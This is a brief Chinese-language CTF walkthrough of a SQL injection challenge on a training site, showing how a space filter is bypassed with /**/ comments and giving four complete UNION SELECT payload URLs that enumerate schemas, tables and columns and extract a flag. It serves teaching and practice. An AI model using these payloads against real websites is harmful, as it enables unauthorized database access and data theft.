1. 程式人生 > >CFT每日一題之簡單的SQL注入之二

CFT每日一題之簡單的SQL注入之二

首先,輸入1 嘗試一下


然後爆出ID 加 個 單引號 嘗試 ,出現報錯介面

然後 大概猜測程式碼是  select xx from XX where id=''

用and測試

發現了有過濾,經過多測實驗後,發現去掉空格就可以


然後開始構造,我們可以使用/**/來代替空格

http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/%271%27=%271

然後就可以一層一層往下查了

http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/%271%27=%271


然後查詢列,獲得flag列

http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/%271%27=%271


最後查詢flag列的資料

http://ctf5.shiyanbar.com/web/index_2.php?id=-11%27/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/%271%27=%271